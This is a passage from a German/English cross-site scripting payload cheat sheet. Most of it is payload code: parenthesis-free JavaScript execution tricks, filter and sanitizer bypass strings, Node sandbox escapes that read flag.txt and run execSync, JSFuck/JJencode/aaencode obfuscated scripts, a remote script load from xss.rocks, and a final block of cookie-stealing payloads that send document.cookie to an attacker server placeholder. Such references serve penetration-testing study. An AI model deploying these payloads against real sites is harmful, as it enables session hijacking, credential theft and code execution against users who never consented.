#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript-Zeilenumbrüche (aus dem JavaScript new line Trick)

//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript Leerzeichen

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript innerhalb eines Kommentars

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript ohne Klammern

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Beliebiger Funktionsaufruf (alert)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

There is JS code that is using unsafely data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:

DOM XSS

Dort findest du eine detaillierte Erklärung, was DOM vulnerabilities sind, wie sie verursacht werden und wie man sie ausnutzt.
Vergiss außerdem nicht, dass am Ende des erwähnten Beitrags eine Erklärung zu DOM Clobbering attacks zu finden ist.

Upgrading Self-XSS

If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:

Cookie Tossing

You can find a great abuse of this technique in this blog post.

Session an den Admin senden

Möglicherweise kann ein Benutzer sein Profil mit dem Admin teilen; wenn sich das self XSS im Profil des Benutzers befindet und der Admin es aufruft, wird die Schwachstelle ausgelöst.

Session Mirroring

If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.

You could make the administrator trigger your self XSS and steal his cookies/session.

Other Bypasses

Bypassing sanitization via WASM linear-memory template overwrite

When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as “

%.*s

” to “” turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.

Siehe die dedizierte Seite mit Exploitation-Workflow, DevTools memory helpers und Abwehrmaßnahmen:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

You could check is the reflected values are being unicode normalized in the server (or in the client side) and abuse this functionality to bypass protections. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

Aufgrund von RoR mass assignment werden Anführungszeichen in das HTML eingefügt, wodurch die Anführungszeichen-Einschränkung umgangen wird und zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.
Formularbeispiel (from this report), wenn Sie die Payload senden:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Das Paar “Key”,“Value” wird wie folgt zurückgegeben:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Dann wird das onfocus-Attribut eingefügt und XSS tritt auf.

Spezielle Kombinationen

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS mit Header-Injection in einer 302-Redirect-Antwort

Wenn du Header in einer 302 Redirect-Antwort injizieren kannst, könntest du versuchen, den Browser dazu zu bringen, beliebiges JavaScript auszuführen. Das ist nicht trivial, da moderne Browser den HTTP-Response-Body nicht interpretieren, wenn der HTTP-Statuscode 302 ist, sodass ein normales cross-site scripting payload nutzlos ist.

In this report und this one kannst du nachlesen, wie du mehrere Protokolle im Location-Header testen kannst und prüfen kannst, ob eines davon dem Browser erlaubt, die XSS-Payload im Body zu inspizieren und auszuführen.
Bisher bekannte Protokolle: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Nur Buchstaben, Zahlen und Punkte

Wenn du den callback angeben kannst, den javascript ausführen wird, und dieser auf diese Zeichen beschränkt ist. Read this section of this post um zu erfahren, wie man dieses Verhalten ausnutzen kann.

Valid <script> Content-Types to XSS

(From here) Wenn du versuchst, ein Script mit einem content-type wie application/octet-stream zu laden, wird Chrome folgenden Fehler werfen:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Die einzigen Content-Types, mit denen Chrome ein loaded script ausführen wird, sind diejenigen, die in der const kSupportedJavascriptTypes aus https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc aufgeführt sind.

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Skript-Typen für XSS

(Aus here) Also, welche Typen könnten angegeben werden, um ein Skript zu laden?

<script type="???"></script>
  • module (Standard, nichts zu erklären)
  • webbundle: Web Bundles ist eine Funktion, mit der du eine Menge Daten (HTML, CSS, JS…) in einer .wbn-Datei zusammenpacken kannst.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Ermöglicht die Verbesserung der Import-Syntax
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Dieses Verhalten wurde in this writeup verwendet, um eine library auf eval umzuleiten; der Missbrauch davon kann XSS auslösen.

  • speculationrules: Diese Funktion dient hauptsächlich dazu, einige Probleme zu lösen, die durch pre-rendering verursacht werden. Sie funktioniert folgendermaßen:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types für XSS

(Von here) Die folgenden Content-Types können in allen Browsern XSS ausführen:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? nicht in der Liste, aber ich glaube, ich habe das bei einem CTF gesehen)
  • application/rss+xml (off)
  • application/atom+xml (off)

In anderen Browsern können andere Content-Types verwendet werden, um beliebiges JS auszuführen, siehe: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

Wenn die Seite einen text/xml content-type zurückgibt, ist es möglich, einen Namespace anzugeben und beliebiges JS auszuführen:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Spezielle Ersetzungsmuster

Wenn etwas wie "some {{template}} data".replace("{{template}}", <user_input>) verwendet wird, könnte ein Angreifer special string replacements verwenden, um bestimmte Schutzmaßnahmen zu umgehen: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Zum Beispiel wurde in this writeup dies verwendet, um einen JSON-String zu escapen innerhalb eines Scripts und beliebigen Code auszuführen.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

If you are only have a limited set of chars to use, check these other valid solutions for XSJail problems:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Wenn vor der Ausführung von nicht vertrauenswürdigem Code alles undefined ist (wie in this writeup), ist es möglich, nützliche Objekte “aus dem Nichts” zu erzeugen, um die Ausführung beliebigen nicht vertrauenswürdigen Codes zu missbrauchen:

  • Mit import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Indirekter Zugriff auf require

Laut diesem werden Module von Node.js in eine Funktion eingeschlossen, wie folgt:

;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Deshalb, wenn wir aus diesem Modul eine andere Funktion aufrufen können, ist es möglich, arguments.callee.caller.arguments[1] von dieser Funktion zu verwenden, um auf require zuzugreifen:

;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

Ähnlich wie im vorherigen Beispiel ist es möglich, use error handlers zu verwenden, um auf den wrapper des Moduls zuzugreifen und die require-Funktion zu erhalten:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuskation & erweiterte Umgehung

//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}

XSS häufige payloads

Mehrere payloads in 1

Steal Info JS

Iframe Trap

Sorge dafür, dass der Benutzer auf der Seite navigiert, ohne das iframe zu verlassen, und zeichne seine Aktionen auf (einschließlich in Formularen gesendeter Informationen):

Iframe Traps

Cookies abrufen

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
